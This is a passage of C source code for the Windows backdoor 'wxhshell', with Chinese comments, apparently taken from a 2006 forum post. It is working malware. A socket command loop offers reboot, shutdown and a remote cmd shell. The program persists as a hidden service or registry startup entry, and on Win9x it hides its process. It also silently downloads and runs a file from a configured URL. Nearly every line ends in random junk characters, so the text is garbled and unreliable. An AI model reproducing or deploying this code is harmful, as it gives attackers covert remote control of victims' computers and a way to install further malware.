  case '?': { 9VaSCB  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |af<2(d  
    break; ;QuxTmWp^  
  } 6k,@+ @]t.  
  // 安装 0|va}m`<3G  
  case 'i': { nq7)0F%e  
    if(Install()) >/.jB/q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /:A239=+?  
    else gjT`<CW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^+~$eg&js  
    break; uq:'`o-1  
    } uJ=&++[  
  // 卸载 ArX*3  
  case 'r': { Jp)PKS ![  
    if(Uninstall()) Gg6cjc=dC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $+e(k~  
    else {3vm]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rbm+V{EF&  
    break; ' )F@em  
    } -,=)O  
  // 显示 wxhshell 所在路径 Np9Pae'  
  case 'p': { _mdJIa0D6k  
    char svExeFile[MAX_PATH]; jkuNafp}  
    strcpy(svExeFile,"\n\r"); )tV]h#4  
      strcat(svExeFile,ExeFile); $a\X(okx  
        send(wsh,svExeFile,strlen(svExeFile),0); tvzO)&)$  
    break; _jkJw2+s\  
    } v/KTEM  
  // 重启 B7{j$0fm*  
  case 'b': { ]6=opvm  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +W>tdxOh  
    if(Boot(REBOOT)) V/OW=WCzN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R'K /\   
    else { ~c1~) QzZ  
    closesocket(wsh); u_WW uo  
    ExitThread(0); NFIFCy!  
    } }?{. 'Hv0  
    break; \<%FZT_4~  
    } @J@bD+Q+0  
  // 关机 #lVSQZO~a  
  case 'd': { N/^[c+J  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l%2B4d9"v  
    if(Boot(SHUTDOWN)) 1 d.>?^uE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wL0"1Ya  
    else { kgmb<4p  
    closesocket(wsh); jS/$ o?  
    ExitThread(0); @iz S_I,  
    } ";0-9*I  
    break; &E k\  
    } wAb_fU&*  
  // 获取shell y7*^H  
  case 's': { BYS>"  
    CmdShell(wsh); 9*|An  
    closesocket(wsh); Ke&fTK  
    ExitThread(0); nDchLVw  
    break; t^9q>[/d`  
  } HZ2zL17  
  // 退出 KRcg  
  case 'x': { f;ycQc@f  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); T?5F0WKi  
    CloseIt(wsh); `+r5I5  
    break; IZ4jFgpR  
    } 8J9o$Se  
  // 离开 {24Pv#ZG#^  
  case 'q': { 'Uo:b<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); P#Ikj& l   
    closesocket(wsh); s3T 6"%S`  
    WSACleanup(); \@n/L{}(@  
    exit(1); |@)ij c4i  
    break; bL7mlh  
        } !C0= h  
  } b}q,cm  
  } ]zK} X!  
aR;Q^YJ+a  
  // 提示信息 0$49X  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b}G +7B  
} 0P53dF  
  } |y=D^NTG  
}`^<ZNkb/  
  return; Z=sAR(n}~  
} CUw 9aH  
3vs2}IV'  
// shell模块句柄 oq<#  
int CmdShell(SOCKET sock) I3aEg  
{ bm7$DKp#  
STARTUPINFO si; CblL1q8  
ZeroMemory(&si,sizeof(si)); DwTZ<H4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !! K=v7M  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; gf@'d.W}  
PROCESS_INFORMATION ProcessInfo; Wj*6}N/  
char cmdline[]="cmd"; @o^sp|k !  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); n:!J3pR  
  return 0; %r,2ZLZ  
} {5z?5i ?D  
9hp0wi@W}  
// 自身启动模式 pcl _$2_  
int StartFromService(void) YGn:_9  
{ 6ensNr~ea  
typedef struct `")  I[h  
{ 6<~y!\4;F  
  DWORD ExitStatus; ,zyrBO0 Eq  
  DWORD PebBaseAddress; _bz,G"w+:  
  DWORD AffinityMask; Zd%\x[f9ck  
  DWORD BasePriority; n<$I,IRE  
  ULONG UniqueProcessId; nMbV{h ,  
  ULONG InheritedFromUniqueProcessId; #5I "M WA  
}   PROCESS_BASIC_INFORMATION; p]g/iLDZ  
2I4P":q  
PROCNTQSIP NtQueryInformationProcess; 1-[{4{R  
(jyJ-qe  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; MR6vr.~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  JuI,wA  
?8nG F%p  
  HANDLE             hProcess; Zj^H3 h  
  PROCESS_BASIC_INFORMATION pbi; Ek. j@79  
RGKJO_*J2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +[7u>RJ  
  if(NULL == hInst ) return 0; K^vMIoh  
z'I0UB#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); NV;tsuA|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \^:f4ZT  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y|mR'{$I  
Q& \k"X1  
  if (!NtQueryInformationProcess) return 0; v>P){VT  
?d%}K76V<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ixkg,  
  if(!hProcess) return 0; 0nd<6S+fs  
MLb\:Ihy  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G j:|  
t8[:}[Jx  
  CloseHandle(hProcess); [6tQv<}^  
@'y"D  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $7*Ml)H!9  
if(hProcess==NULL) return 0; vtT:c.~d  
& Gt9a-ne  
HMODULE hMod; +Snjb0  
char procName[255]; , $=V  
unsigned long cbNeeded; !14z4]b  
}A;Xd/,'r  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 33 4*nQ  
wDG4rN9x  
  CloseHandle(hProcess); KKzvoc?Bt  
'huLv(Uu  
if(strstr(procName,"services")) return 1; // 以服务启动 RPWYm  
ro{MD s  
  return 0; // 注册表启动  x1et,&,  
} v]!7=>/2  
J5"*OH:f  
// 主模块 hU{%x#8}lK  
int StartWxhshell(LPSTR lpCmdLine) EKf4f^<  
{ k4P.}SJ?  
  SOCKET wsl; V+q RDQ  
BOOL val=TRUE; >4E,_`3N  
  int port=0; td~3N,S  
  struct sockaddr_in door; #]'xUgcE9  
g/J!U8W"  
  if(wscfg.ws_autoins) Install(); @wPmx*SF  
zkOgL9 (_8  
port=atoi(lpCmdLine); Y(f-e,  
~83P09\T%  
if(port<=0) port=wscfg.ws_port; 1DP)6{x  
d w|0K+-PH  
  WSADATA data; "gz;Q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >R<fm  
[C6?:'}FA  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \zUsHK?L"t  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); NC}#P< U  
  door.sin_family = AF_INET; u| c+w)a  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); s$_#T  
  door.sin_port = htons(port); K36B9<F  
g]#Wve  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _;{-w%Vf  
closesocket(wsl); qg/5m;U  
return 1; gib]#n1!p  
} kR ]SxG9  
2cg z n@  
  if(listen(wsl,2) == INVALID_SOCKET) { ,Mc 2dhq  
closesocket(wsl); V]}b3Y!(  
return 1; Vvj]2V3  
} 8rYK~Sz  
  Wxhshell(wsl); %-Z~f~<?  
  WSACleanup(); w$4Lu"N :  
O|~'-^  
return 0; xJhbGK  
`,Gk1~Wv  
} [ UJj*n  
)QD}R36Ic  
// 以NT服务方式启动 `9l\ ~t(M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $ Zr,-  
{ ise}> A!t  
DWORD   status = 0; ,0bM* qob  
  DWORD   specificError = 0xfffffff; }[`?#`sW  
:N}KScS|Wa  
  serviceStatus.dwServiceType     = SERVICE_WIN32; v"+EBfx  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  $wTX  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; b3lpNJ J  
  serviceStatus.dwWin32ExitCode     = 0; KoJG! Rm  
  serviceStatus.dwServiceSpecificExitCode = 0; r `dU (T!  
  serviceStatus.dwCheckPoint       = 0; -huZnDN  
  serviceStatus.dwWaitHint       = 0; =jt_1L4  
4#q JX)/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N sL"p2w~  
  if (hServiceStatusHandle==0) return; uw!|G>  
"S:N- Tf%U  
status = GetLastError(); 8A.7=C' z  
  if (status!=NO_ERROR) 'wrpW#  
{ tqCg<NH.!m  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [@Y q^.6t  
    serviceStatus.dwCheckPoint       = 0; C6~dN& q  
    serviceStatus.dwWaitHint       = 0; /p0LtUMu  
    serviceStatus.dwWin32ExitCode     = status; us%RQ8=k  
    serviceStatus.dwServiceSpecificExitCode = specificError; zQ}N mlk  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y +54z/{  
    return; Ui!|!V-  
  } gUA}%YXe  
nh)R  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `F8;{`a  
  serviceStatus.dwCheckPoint       = 0; w.p'Dpw  
  serviceStatus.dwWaitHint       = 0; t8 "-zd8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "lf3hWGw  
} _ZBR<{  
.~ lt+M9  
// 处理NT服务事件,比如:启动、停止 qI*1+R}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) a HL '(<  
{ -<]_:Kf{;&  
switch(fdwControl) CJ  
{ t}*!UixE  
case SERVICE_CONTROL_STOP: (t$/G3E  
  serviceStatus.dwWin32ExitCode = 0; cV,Dl`1r  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Po. BcytM  
  serviceStatus.dwCheckPoint   = 0; \r,. hUp  
  serviceStatus.dwWaitHint     = 0; $:II @=  
  { 98'XSL|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %0]b5u  
  } [_b='/8  
  return; }Xv1KX'  
case SERVICE_CONTROL_PAUSE: 1iL xXd  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }F6b ]  
  break; G | oG:  
case SERVICE_CONTROL_CONTINUE: )%w8>1 }c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; g8A{aHb1}  
  break; q.Z#7~6`3  
case SERVICE_CONTROL_INTERROGATE: v=1S  
  break; i!x5T%x_  
}; .oN Sg.jG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bCUh^#]x  
} os^SD&hL  
M|e n>P  
// 标准应用程序主函数 (Gc`3jJ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) l zPS RT  
{ y7EX&  
1e&b;l'*=  
// 获取操作系统版本 ![ID0}MjJ  
OsIsNt=GetOsVer(); -Bv1}xf=6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); dt&Lwf/  
l(\8c><m  
  // 从命令行安装 ]f-'A>MC  
  if(strpbrk(lpCmdLine,"iI")) Install(); 00a<(sS;  
#'J7Wy  
  // 下载执行文件 C+m^Z[  
if(wscfg.ws_downexe) { )Q/`o,Vm  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) iiB )/~!O  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^i)Q CDU7  
} L00 ;rTs>  
J*KBG2+13  
if(!OsIsNt) { Tc5OI'-V  
// 如果时win9x,隐藏进程并且设置为注册表启动 3l(;Pt-yI  
HideProc(); ,h.Jfo54,  
StartWxhshell(lpCmdLine); yi-"hT`  
} A<X :K nl  
else j{Jc6U  
  if(StartFromService()) ZfCr"aL  
  // 以服务方式启动 gdFoTcHgO|  
  StartServiceCtrlDispatcher(DispatchTable); NG!cEo:2aa  
else 3nC#$L-   
  // 普通方式启动 #r^@*<{^  
  StartWxhshell(lpCmdLine); pjs9b%.  
c0Ro3j\p  
return 0; q=% C (  
}
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只看该作者 1 发表于: 2006-10-10
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